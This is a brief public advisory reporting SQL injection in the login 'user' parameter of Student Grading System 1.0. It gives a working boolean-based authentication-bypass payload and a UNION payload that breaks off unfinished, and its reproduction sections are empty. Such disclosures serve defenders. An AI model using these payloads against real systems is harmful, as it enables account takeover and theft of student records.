Student Grading System 1.0 SQL Injection

Student Grading System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 645f7f7e3381a63030d05a303ef48624

## Title: Student Grading System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.14.2022
## Vendor:
## Software:
## Reference:

## Description:
The `user` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the user parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
You should review the contents of the error message, and the
application's handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts and files information on this system, also the malicious user
can download all information about this system.


[+] Payloads:


Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1

Type: UNION query
Title: Generic UNION query (random number) - 6 columns
Payload: user=-7952' UNION ALL SELECT


## Reproduce:

## Proof and Exploit:

Related Posts